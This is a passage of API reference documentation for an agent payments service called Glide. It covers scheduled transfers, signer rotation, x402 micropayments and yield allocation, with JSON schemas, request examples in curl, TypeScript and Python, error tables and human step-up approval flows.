"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string",
"minLength": 1
}
},
"required": [
"address",
"chain",
"token"
],
"additionalProperties": false
},
"amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"currency": {
"type": "string",
"minLength": 1,
"maxLength": 8
},
"execute_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"memo": {
"type": "string",
"maxLength": 280
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
}
},
"required": [
"counterparty",
"amount_cents",
"currency",
"execute_at",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"scheduled_transfer_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"execute_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"policy_version_at_schedule": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"enqueued_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"scheduled_transfer_id",
"execute_at",
"policy_version_at_schedule",
"enqueued_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `payments:initiate` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/write \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-H "Idempotency-Key: sched-payroll-2026-05-15-acme" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "transfer.schedule",
"params": {
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC"
},
"amount_cents": 250000,
"currency": "USD",
"execute_at": "2026-05-15T09:00:00Z",
"memo": "May payroll — Acme contractor",
"idempotency_key": "sched-payroll-2026-05-15-acme"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('transfer.schedule', {
counterparty: {
address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
chain: 'base',
token: 'USDC',
},
amount_cents: 250000,
currency: 'USD',
execute_at: '2026-05-15T09:00:00Z',
memo: 'May payroll — Acme contractor',
idempotency_key: 'sched-payroll-2026-05-15-acme',
});
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call(
"transfer.schedule",
{
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC",
},
"amount_cents": 250000,
"currency": "USD",
"execute_at": "2026-05-15T09:00:00Z",
"memo": "May payroll — Acme contractor",
"idempotency_key": "sched-payroll-2026-05-15-acme",
},
idempotency_key="sched-payroll-2026-05-15-acme",
)
```
## Response examples
**Accepted (below step-up threshold)**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"scheduled_transfer_id": "a3b4c5d6-e7f8-4a9b-8c0d-1e2f3a4b5c6d",
"execute_at": "2026-05-15T09:00:00Z",
"policy_version_at_schedule": 7,
"enqueued_at": "2026-05-04T14:22:33Z"
}
}
```
**Step-up required (amount over envelope threshold)**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32003,
"message": "scheduled transfer of 250000 cents requires step-up approval before it can be enqueued",
"data": {
"reason_id": "step_up_required",
"step_up_url": "https://app.glide.co/step-up/confirm?sigil=eyJhbGci..."
}
}
}
```
## Errors
| Code | `reason_id` | Meaning |
| -------- | --------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `-32000` | `unauthenticated` | Bearer token missing or expired. |
| `-32001` | `unauthorized` | Grant does not include `payments:initiate`. |
| `-32002` | `policy_denied` | Envelope denied the scheduled amount (velocity, allowlist, daily cap, etc.). |
| `-32003` | `step_up_required` | Amount exceeds the envelope's step-up threshold. `data.step_up_url` contains the biometric approval URL; re-submit with the redeemed sigil in `step_up_sigil`. |
| `-32004` | `rate_limited` | Too many schedule requests. `data.retry_after_seconds` tells you when to retry. |
| `-32602` | `execute_at_not_future` | `execute_at` is not strictly after the current time. |
| `-32602` | `execute_at_beyond_horizon` | `execute_at` is more than 90 days from now. |
| `-32603` | `internal_error` | Transient server fault. Retry with the same idempotency key. |
## Step-up flow
`transfer.schedule` enforces step-up **at schedule time** — the row is never enqueued until the principal has approved. This differs from a naive deferred `payments.initiate`; the execute-time worker also rechecks the then-current policy.
1. Call `transfer.schedule` with the desired params. If the envelope's `step_up_amount_cents` threshold is exceeded, the server returns `-32003` with `data.step_up_url` and `data.reason_id = "step_up_required"`.
2. Redirect the user to `step_up_url` (Privy biometric prompt). On success, Glide mints a one-time `sigil` and redirects back to your app's callback URL.
3. Re-submit the original call, adding `step_up_sigil: ""` to the params.
4. The server redeems the sigil (single-use, bound to the exact amount + counterparty + execute\_at), verifies the action matches what was approved, and enqueues the scheduled transfer.
```ts TypeScript theme={null}
import { GlideClient, StepUpRequired } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const params = {
counterparty: { address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045', chain: 'base', token: 'USDC' },
amount_cents: 500000,
currency: 'USD',
execute_at: '2026-05-15T09:00:00Z',
idempotency_key: 'sched-large-2026-05-15',
};
const result = await client.call('transfer.schedule', params);
if (result instanceof StepUpRequired) {
// Redirect user; on callback, re-submit with sigil.
window.location.href = result.stepUpUrl;
return;
}
// result is TransferScheduleOutput
console.log('Scheduled:', result.scheduled_transfer_id);
```
# vault.rotateSigner
Source: https://glide-9da73dea.mintlify.app/agents/api/vault-rotateSigner
Rotate the signing key for this agent's sub-vault. Always requires principal step-up. Completes atomically with a policy_version bump.
Rotate the signing key for this agent's sub-vault. Always requires principal step-up. Completes atomically with a policy\_version bump.
## Metadata
| Field | Value |
| ------------------------ | ------------------------ |
| Name | `vault.rotateSigner` |
| Category | `treasury` |
| Required scope | `treasury:rotate-signer` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------- |
| Title | Rotate Vault Signer |
| Read-only | no |
| Destructive | yes |
| Idempotent | no |
| Open-world | no |
| Requires human approval | yes (step-up) |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"new_signer_public_key": {
"type": "string",
"minLength": 1
},
"reason": {
"default": "scheduled_rotation",
"type": "string",
"enum": [
"scheduled_rotation",
"compromised_key",
"user_request",
"device_change"
]
},
"step_up_sigil": {
"type": "string",
"minLength": 1
}
},
"required": [
"new_signer_public_key",
"reason"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"proposal_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"new_policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"enqueued_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"proposal_id",
"new_policy_version",
"enqueued_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `treasury:rotate-signer` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
# First call — no sigil: server returns step_up_url
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "vault.rotateSigner",
"params": {
"new_signer_public_key": "0x04a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2",
"reason": "scheduled_rotation"
}
}'
# Second call — with redeemed sigil
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 2,
"method": "vault.rotateSigner",
"params": {
"new_signer_public_key": "0x04a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2",
"reason": "scheduled_rotation",
"step_up_sigil": "eyJhbGciOiJFZERTQSIsInR5cCI6IkpXVCJ9..."
}
}'
```
```ts TypeScript theme={null}
import { GlideClient, StepUpRequired } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const params = {
new_signer_public_key: '0x04a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2',
reason: 'scheduled_rotation' as const,
};
// First attempt — expect step-up
const first = await client.call('vault.rotateSigner', params);
if (first instanceof StepUpRequired) {
// Redirect user; collect sigil from callback
const sigil = await redirectAndCollectSigil(first.stepUpUrl);
const result = await client.call('vault.rotateSigner', { ...params, step_up_sigil: sigil });
console.log('Rotated. New policy version:', result.new_policy_version);
}
```
```python Python theme={null}
from glide_client import GlideClient, StepUpRequired
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
params = {
"new_signer_public_key": "0x04a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2",
"reason": "scheduled_rotation",
}
first = client.call("vault.rotateSigner", params)
if isinstance(first, StepUpRequired):
sigil = redirect_and_collect_sigil(first.step_up_url)
result = client.call("vault.rotateSigner", {**params, "step_up_sigil": sigil})
print("Rotated. New policy version:", result["new_policy_version"])
```
## Response examples
**Step-up required (always on first call)**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32003,
"message": "signer rotation requires principal biometric approval",
"data": {
"reason_id": "step_up_required",
"step_up_url": "https://app.glide.co/step-up/confirm?sigil=eyJhbGci..."
}
}
}
```
**Success (after sigil redemption)**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"proposal_id": "f1e2d3c4-b5a6-4987-8765-432100fedcba",
"new_policy_version": 12,
"enqueued_at": "2026-05-04T14:30:00Z"
}
}
```
## Errors
| Code | `reason_id` | Meaning |
| -------- | ----------------------- | ------------------------------------------------------------------------------------------ |
| `-32000` | `unauthenticated` | Bearer token missing or expired. |
| `-32001` | `unauthorized` | Grant does not include `treasury:rotate-signer`. |
| `-32003` | `step_up_required` | Step-up is always required. `data.step_up_url` contains the biometric approval URL. |
| `-32602` | `step_up_sigil_invalid` | Sigil was already redeemed, expired, or minted for a different action (`reason` mismatch). |
| `-32602` | `invalid_params` | `new_signer_public_key` is empty or malformed. |
| `-32603` | `internal_error` | Transient fault. Retry from step 1 (get a fresh sigil). |
## Step-up flow
`vault.rotateSigner` **always** requires principal step-up. There is no threshold — every rotation, including scheduled ones, requires biometric approval. The sigil is bound to the `reason` field, so a sigil minted for `grant_issue` is rejected here.
1. Call `vault.rotateSigner` with `new_signer_public_key` and `reason`. The server always returns `-32003`.
2. Redirect the principal to `data.step_up_url` (Privy biometric). On success, Glide mints a one-time `sigil` bound to `reason: "rotate_signer"`.
3. Re-submit with `step_up_sigil: ""`. The server verifies the sigil's `expected_reason` matches `"rotate_signer"` and that it was not already redeemed.
4. On success, a multisig proposal is submitted on-chain. `proposal_id` can be tracked in the Actions inbox. `new_policy_version` is the post-rotation policy version.
# x402.pay
Source: https://glide-9da73dea.mintlify.app/agents/api/x402-pay
Pay an x402 micropayment endpoint with mandatory server-side RPC verification; the facilitator receipt is never trusted for money-safety fields.
Pay an x402 micropayment endpoint. Server-side RPC verification of the on-chain tx is MANDATORY — the facilitator receipt is never trusted for money-safety fields (PLAN.md F1).
## Metadata
| Field | Value |
| ------------------------ | ---------- |
| Name | `x402.pay` |
| Category | `write` |
| Required scope | `x402:pay` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | ----------------- |
| Title | Pay x402 Endpoint |
| Read-only | no |
| Destructive | yes |
| Idempotent | yes |
| Open-world | yes |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"resource_url": {
"type": "string",
"format": "uri"
},
"max_amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string",
"minLength": 1
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
}
},
"required": [
"resource_url",
"max_amount_cents",
"chain",
"token",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"payment_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"amount_cents_paid": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"on_chain_tx": {
"type": "string",
"pattern": "(?:0x[0-9a-fA-F]{64})|(?:[1-9A-HJ-NP-Za-km-z]{86,88})"
},
"resource_payload_sha256": {
"type": "string",
"minLength": 64,
"maxLength": 64
},
"paid_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"payment_id",
"amount_cents_paid",
"on_chain_tx",
"resource_payload_sha256",
"paid_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `x402:pay` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/write \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-H "Idempotency-Key: x402-weather-20260504-001" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "x402.pay",
"params": {
"resource_url": "https://api.weatherdata.io/premium/forecast?lat=37.77&lon=-122.41",
"max_amount_cents": 10,
"chain": "base",
"token": "USDC",
"idempotency_key": "x402-weather-20260504-001"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call(
'x402.pay',
{
resource_url: 'https://api.weatherdata.io/premium/forecast?lat=37.77&lon=-122.41',
max_amount_cents: 10,
chain: 'base',
token: 'USDC',
idempotency_key: 'x402-weather-20260504-001',
},
{ idempotencyKey: 'x402-weather-20260504-001' },
);
console.log('Paid', result.amount_cents_paid, 'cents, tx:', result.on_chain_tx);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call(
"x402.pay",
{
"resource_url": "https://api.weatherdata.io/premium/forecast?lat=37.77&lon=-122.41",
"max_amount_cents": 10,
"chain": "base",
"token": "USDC",
"idempotency_key": "x402-weather-20260504-001",
},
idempotency_key="x402-weather-20260504-001",
)
print(f"Paid {result['amount_cents_paid']} cents, tx: {result['on_chain_tx']}")
```
## Response examples
**Success**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"payment_id": "9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d",
"amount_cents_paid": 5,
"on_chain_tx": "0x4a3b2c1d9e8f7a6b5c4d3e2f1a0b9c8d7e6f5a4b3c2d1e0f9a8b7c6d5e4f3a2b",
"resource_payload_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
"paid_at": "2026-05-04T15:00:00Z"
}
}
```
**Vendor unavailable — RPC could not verify tx**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32006,
"message": "RPC could not verify tx 0x4a3b... on base",
"data": {
"reason_id": "chain_tx_unverifiable"
}
}
}
```
## Errors
| Code | `reason_id` | Meaning |
| -------- | ------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------- |
| `-32000` | `unauthenticated` | Bearer token missing or expired. |
| `-32001` | `unauthorized` | Grant does not include `x402:pay`. |
| `-32002` | `policy_denied` | Envelope denied the payment (amount, counterparty, velocity). |
| `-32004` | `rate_limited` | Request rate exceeded. `data.retry_after_seconds` present. |
| `-32006` | `chain_tx_unverifiable` | Server-side RPC returned no result for the facilitator-claimed tx. Do not retry without investigation — the funds may not have moved. |
| `-32602` | `invalid_tx_hash_format` | RPC-verified tx hash format does not match the requested chain (EVM vs Solana mismatch). |
| `-32602` | `facilitator_tx_hash_mismatch` | Facilitator's claimed tx hash differs from the RPC-verified value. |
| `-32602` | `facilitator_amount_mismatch` | Facilitator claimed an amount different from the on-chain verified amount. |
| `-32602` | `amount_over_max` | Verified on-chain amount exceeds `max_amount_cents`. |
| `-32603` | `internal_error` | Transient server fault. Retry with the same idempotency key. |
**Money-safety note:** `on_chain_tx` in the response is always the server-fetched RPC value, never the facilitator-supplied value. The facilitator receipt is used only for the x402 handshake; all money-safety fields are independently verified (PLAN.md F1).
# x402.receive
Source: https://glide-9da73dea.mintlify.app/agents/api/x402-receive
Return this agent's x402 receive endpoints. Every Glide vault is x402-addressable out of the box — other agents can pay this agent via the standard x402 handsha
Return this agent's x402 receive endpoints. Every Glide vault is x402-addressable out of the box — other agents can pay this agent via the standard x402 handshake without Glide running a separate receiver service.
## Metadata
| Field | Value |
| ------------------------ | -------------- |
| Name | `x402.receive` |
| Category | `read` |
| Required scope | `x402:receive` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------------------- |
| Title | Describe x402 Receive Endpoints |
| Read-only | yes |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
}
},
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"endpoints": {
"type": "array",
"items": {
"type": "object",
"properties": {
"url": {
"type": "string",
"format": "uri"
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string"
},
"receiving_address": {
"type": "string",
"minLength": 1
},
"min_amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"max_amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"accepts": {
"type": "array",
"items": {
"type": "string",
"enum": [
"text/plain",
"application/json"
]
}
}
},
"required": [
"url",
"chain",
"token",
"receiving_address",
"min_amount_cents",
"max_amount_cents",
"accepts"
],
"additionalProperties": false
}
},
"fetched_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"endpoints",
"fetched_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `x402:receive` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
# All chains
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "x402.receive",
"params": {}
}'
# Filter to a single chain
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "x402.receive",
"params": { "chain": "base" }
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
// All chains
const all = await client.call('x402.receive', {});
// Filter to Base only
const baseOnly = await client.call('x402.receive', { chain: 'base' });
for (const endpoint of baseOnly.endpoints) {
console.log(`${endpoint.chain} ${endpoint.token} → ${endpoint.receiving_address}`);
console.log(` Accept range: ${endpoint.min_amount_cents}–${endpoint.max_amount_cents} cents`);
}
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
# All chains
result = client.call("x402.receive", {})
# Filter to Solana only
sol_result = client.call("x402.receive", {"chain": "sol"})
for endpoint in sol_result["endpoints"]:
print(f"{endpoint['chain']} {endpoint['token']} → {endpoint['receiving_address']}")
```
## Response examples
**Success — all chains**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"endpoints": [
{
"url": "https://mcp.glide.co/x402/receive/agt_7f3e4b2a",
"chain": "base",
"token": "USDC",
"receiving_address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"min_amount_cents": 1,
"max_amount_cents": 10000,
"accepts": ["application/json", "text/plain"]
},
{
"url": "https://mcp.glide.co/x402/receive/agt_7f3e4b2a",
"chain": "sol",
"token": "USDC",
"receiving_address": "DRpbCBMxVnDK7maPM5tGv6MvB3v1sRMC86PZ8okm38Rn",
"min_amount_cents": 1,
"max_amount_cents": 10000,
"accepts": ["application/json"]
}
],
"fetched_at": "2026-05-04T15:00:00Z"
}
}
```
**No endpoints configured**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "no x402 endpoints configured for this agent (agent must be active + have at least one chain in allowlist)",
"data": {
"reason_id": "no_x402_endpoints"
}
}
}
```
## Errors
| Code | `reason_id` | Meaning |
| -------- | ------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
| `-32000` | `unauthenticated` | Bearer token missing or expired. |
| `-32001` | `unauthorized` | Grant does not include `x402:receive`. |
| `-32602` | `no_x402_endpoints` | The agent is inactive or has no chain in its allowlist. Ensure the vault is active and at least one chain is enabled for the agent. |
| `-32603` | `internal_error` | Transient server fault. |
# yield.allocate
Source: https://glide-9da73dea.mintlify.app/agents/api/yield-allocate
Move funds between yield vaults (Aave/Morpho/Kamino/idle) within the envelope. Blocked by V3 yield infra if that dependency slips.
Move funds between yield vaults (Aave/Morpho/Kamino/idle) within the envelope. Blocked by V3 yield infra if that dependency slips.
## Metadata
| Field | Value |
| ------------------------ | ------------------------- |
| Name | `yield.allocate` |
| Category | `treasury` |
| Required scope | `treasury:yield-allocate` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | -------------- |
| Title | Allocate Yield |
| Read-only | no |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"from_protocol": {
"type": "string",
"enum": [
"aave",
"morpho",
"kamino",
"idle"
]
},
"to_protocol": {
"type": "string",
"enum": [
"aave",
"morpho",
"kamino",
"idle"
]
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string",
"minLength": 1
},
"amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"min_apr_bps": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
}
},
"required": [
"from_protocol",
"to_protocol",
"chain",
"token",
"amount_cents",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"allocation_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"from_protocol": {
"type": "string",
"enum": [
"aave",
"morpho",
"kamino",
"idle"
]
},
"to_protocol": {
"type": "string",
"enum": [
"aave",
"morpho",
"kamino",
"idle"
]
},
"amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"enqueued_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
}
},
"required": [
"allocation_id",
"from_protocol",
"to_protocol",
"amount_cents",
"enqueued_at",
"policy_version"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `treasury:yield-allocate` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-H "Idempotency-Key: yield-rebalance-20260504-001" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "yield.allocate",
"params": {
"from_protocol": "idle",
"to_protocol": "aave",
"chain": "base",
"token": "USDC",
"amount_cents": 500000,
"min_apr_bps": 350,
"idempotency_key": "yield-rebalance-20260504-001"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient, StepUpRequired } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call(
'yield.allocate',
{
from_protocol: 'idle',
to_protocol: 'aave',
chain: 'base',
token: 'USDC',
amount_cents: 500000,
min_apr_bps: 350,
idempotency_key: 'yield-rebalance-20260504-001',
},
{ idempotencyKey: 'yield-rebalance-20260504-001' },
);
if (result instanceof StepUpRequired) {
// Amount exceeded step-up threshold; redirect for approval.
window.location.href = result.stepUpUrl;
return;
}
console.log('Allocation enqueued:', result.allocation_id);
```
```python Python theme={null}
from glide_client import GlideClient, StepUpRequired
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call(
"yield.allocate",
{
"from_protocol": "idle",
"to_protocol": "aave",
"chain": "base",
"token": "USDC",
"amount_cents": 500000,
"min_apr_bps": 350,
"idempotency_key": "yield-rebalance-20260504-001",
},
idempotency_key="yield-rebalance-20260504-001",
)
if isinstance(result, StepUpRequired):
